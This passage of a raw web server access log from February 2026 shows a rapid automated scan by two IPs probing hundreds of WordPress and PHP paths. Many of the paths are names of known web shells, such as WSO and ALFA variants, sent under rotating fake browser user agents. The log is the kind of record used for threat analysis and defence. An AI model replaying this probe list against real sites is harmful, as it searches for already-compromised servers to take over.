"Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.5.82.13 - - [03/Feb/2026:10:55:41 +0300] "GET /nav-menus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.5.82.13 - - [03/Feb/2026:10:55:42 +0300] "GET /menu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.13 - - [03/Feb/2026:10:55:42 +0300] "GET /options-head.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.5.82.13 - - [03/Feb/2026:10:55:43 +0300] "GET /revision.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.13 - - [03/Feb/2026:10:55:43 +0300] "GET /widgets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.5.82.13 - - [03/Feb/2026:10:55:43 +0300] "GET /term.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.13 - - [03/Feb/2026:10:55:43 +0300] "GET /system_log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.5.82.13 - - [03/Feb/2026:10:55:44 +0300] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.82.13 - - [03/Feb/2026:10:55:44 +0300] "GET /moded.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 199.45.154.116 - - [03/Feb/2026:10:26:08 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 194.5.82.13 - - [03/Feb/2026:10:55:44 +0300] "GET /wp-includes/images/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.82.13 - - [03/Feb/2026:10:55:45 +0300] "GET /upgrade.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.5.82.13 - - [03/Feb/2026:10:55:45 +0300] "GET /gh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.5.82.13 - - [03/Feb/2026:10:55:45 +0300] "GET /version.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.5.82.13 - - [03/Feb/2026:10:55:45 +0300] "GET /head.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.5.82.13 - - [03/Feb/2026:10:55:46 +0300] "GET /index1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.13 - - [03/Feb/2026:10:55:46 +0300] "GET /theme-insqbzk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.5.82.13 - - [03/Feb/2026:10:55:46 +0300] "GET /good.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.5.82.13 - - [03/Feb/2026:10:55:46 +0300] "GET /main.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.82.13 - - [03/Feb/2026:10:55:46 +0300] "GET /.well-known/pki-validation/ssl.php?xsec=blocker HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.5.82.13 - - [03/Feb/2026:10:55:47 +0300] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.13 - - [03/Feb/2026:10:55:47 +0300] "GET /wp-includes/fonts/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.5.82.13 - - [03/Feb/2026:10:55:47 +0300] "GET /wp-content/updates.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.13 - - [03/Feb/2026:10:55:47 +0300] "GET /wp-content/plugins/envato-market/inc/class-envato-market-api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.13 - - [03/Feb/2026:10:55:48 +0300] "GET /wp-admin/images/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.13 - - [03/Feb/2026:10:55:48 +0300] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.5.82.13 - - [03/Feb/2026:10:55:48 +0300] "GET /wp-admin/network/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.13 - - [03/Feb/2026:10:55:48 +0300] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.5.82.13 - - [03/Feb/2026:10:55:48 +0300] "GET /css/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.5.82.13 - - [03/Feb/2026:10:55:49 +0300] "GET /wp-admin/user/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.5.82.13 - - [03/Feb/2026:10:55:49 +0300] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.13 - - [03/Feb/2026:10:55:49 +0300] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.5.82.13 - - [03/Feb/2026:10:55:50 +0300] "GET /wp-admin/css/colors/blue/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.82.13 - - [03/Feb/2026:10:55:50 +0300] "GET /wp-admin/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.13 - - [03/Feb/2026:10:55:50 +0300] "GET /wp-content/plugins/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.82.13 - - [03/Feb/2026:10:55:50 +0300] "GET /wp-includes/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.13 - - [03/Feb/2026:10:55:51 +0300] "GET /wp-includes/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.13 - - [03/Feb/2026:10:55:51 +0300] "GET /.well-known/bala.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.13 - - [03/Feb/2026:10:55:51 +0300] "GET /wp-content/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.82.13 - - [03/Feb/2026:10:55:51 +0300] "GET /wp-includes/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.5.82.13 - - [03/Feb/2026:10:55:51 +0300] "GET /wp-admin/repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.82.13 - - [03/Feb/2026:10:55:52 +0300] "GET /wp-includes/repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.13 - - [03/Feb/2026:10:55:52 +0300] "GET /wp-content/repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.5.82.13 - - [03/Feb/2026:10:55:52 +0300] "GET /wp-content/plugins/seoo/wsoyanz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.5.82.13 - - [03/Feb/2026:10:55:52 +0300] "GET /wp-content/plugins/seoo/wsoyanz1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.5.82.13 - - [03/Feb/2026:10:55:53 +0300] "GET /cache-compat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.5.82.13 - - [03/Feb/2026:10:55:53 +0300] "GET /ajax-actions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.13 - - [03/Feb/2026:10:55:53 +0300] "GET /wp-admin/ajax-actions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.5.82.13 - - [03/Feb/2026:10:55:53 +0300] "GET /wp-consar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.5.82.13 - - [03/Feb/2026:10:55:54 +0300] "GET /wp-admin/maint/maint/ajax-actions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.5.82.13 - - [03/Feb/2026:10:55:54 +0300] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.5.82.13 - - [03/Feb/2026:10:55:54 +0300] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.13 - - [03/Feb/2026:10:55:54 +0300] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.5.82.13 - - [03/Feb/2026:10:55:55 +0300] "GET /wp-content/plugins/wp-daft/miin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.5.82.13 - - [03/Feb/2026:10:55:55 +0300] "GET /wp-content/style-css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.5.82.13 - - [03/Feb/2026:10:55:55 +0300] "GET /wp-admin/wp-configs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.5.82.13 - - [03/Feb/2026:10:55:55 +0300] "GET /wp-includes/SimplePie/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.5.82.13 - - [03/Feb/2026:10:55:56 +0300] "GET /wp-includes/sitemaps/providers/ultra.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.5.82.13 - - [03/Feb/2026:10:55:56 +0300] "GET /cgi-bin/mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.5.82.13 - - [03/Feb/2026:10:55:56 +0300] "GET /wp-includes/css/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.13 - - [03/Feb/2026:10:55:56 +0300] "GET /sx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.5.82.13 - - [03/Feb/2026:10:55:56 +0300] "GET /wp-content/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.5.82.13 - - [03/Feb/2026:10:55:57 +0300] "GET /wp-includes/SimplePie/gzdecode.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.13 - - [03/Feb/2026:10:55:57 +0300] "GET /wp-includes/wp-includes/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.5.82.13 - - [03/Feb/2026:10:55:57 +0300] "GET /update/gely.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.5.82.13 - - [03/Feb/2026:10:55:57 +0300] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.82.13 - - [03/Feb/2026:10:55:58 +0300] "GET /images/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.82.13 - - [03/Feb/2026:10:55:58 +0300] "GET /web.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.5.82.13 - - [03/Feb/2026:10:55:59 +0300] "GET /ALFA_DATA/alfacgiapi/all.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.13 - - [03/Feb/2026:10:55:59 +0300] "GET /wp-admin/css/colors/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:00 +0300] "GET /wp-content/themes/aahana/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:01 +0300] "GET /wp-admin/images/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.8 - - [03/Feb/2026:10:56:01 +0300] "GET /wp-admin/user/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:01 +0300] "GET /wp-includes/block-patterns/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:01 +0300] "GET /wp-includes/blocks/site-title/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.8 - - [03/Feb/2026:10:56:02 +0300] "GET /.well-known/acme-challenge/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:02 +0300] "GET /wp-admin/includes/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.8 - - [03/Feb/2026:10:56:03 +0300] "GET /upload.php?mr=exe3/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.5.82.8 - - [03/Feb/2026:10:56:03 +0300] "GET /wp-includes/wp-includes/admin-bar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:04 +0300] "GET /indeex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:04 +0300] "GET /dropdown.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.5.82.8 - - [03/Feb/2026:10:56:05 +0300] "GET /wp-content/themes/twentytwentythree/patterns/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.8 - - [03/Feb/2026:10:56:05 +0300] "GET /wp-admin/images/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:05 +0300] "GET /wp-includes/customize/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:06 +0300] "GET /bs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:06 +0300] "GET /wp-admin/network/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.5.82.8 - - [03/Feb/2026:10:56:06 +0300] "GET /credits.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:07 +0300] "GET /edit-comments.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.5.82.8 - - [03/Feb/2026:10:56:07 +0300] "GET /checkbox.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.8 - - [03/Feb/2026:10:56:07 +0300] "GET /export.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.8 - - [03/Feb/2026:10:56:08 +0300] "GET /input.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.5.82.8 - - [03/Feb/2026:10:56:08 +0300] "GET /load-scripts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.5.82.8 - - [03/Feb/2026:10:56:09 +0300] "GET /load-styles.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:09 +0300] "GET /options-discussion.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.5.82.8 - - [03/Feb/2026:10:56:10 +0300] "GET /options-general.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:10 +0300] "GET /options-permalink.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.5.82.8 - - [03/Feb/2026:10:56:10 +0300] "GET /options-privacy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.82.8 - - [03/Feb/2026:10:56:11 +0300] "GET /options-reading.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.82.8 - - [03/Feb/2026:10:56:11 +0300] "GET /options-writing.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.5.82.8 - - [03/Feb/2026:10:56:12 +0300] "GET /post-new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:12 +0300] "GET /privacy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.8 - - [03/Feb/2026:10:56:12 +0300] "GET /profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.8 - - [03/Feb/2026:10:56:12 +0300] "GET /site-health.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.8 - - [03/Feb/2026:10:56:13 +0300] "GET /tools.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.8 - - [03/Feb/2026:10:56:13 +0300] "GET /update-core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.5.82.8 - - [03/Feb/2026:10:56:13 +0300] "GET /user-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.5.82.8 - - [03/Feb/2026:10:56:13 +0300] "GET /user-new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:14 +0300] "GET /wp-cron.php?ac=3/wp-by-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.8 - - [03/Feb/2026:10:56:14 +0300] "GET /bar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.5.82.8 - - [03/Feb/2026:10:56:14 +0300] "GET /samll.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.82.8 - - [03/Feb/2026:10:56:15 +0300] "GET /webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:15 +0300] "GET /100.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:15 +0300] "GET /plugin-install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:15 +0300] "GET /km.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.8 - - [03/Feb/2026:10:56:16 +0300] "GET /LA.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.5.82.8 - - [03/Feb/2026:10:56:16 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.5.82.8 - - [03/Feb/2026:10:56:16 +0300] "GET /wp-ldd.php HTTP/1.1" 301 795 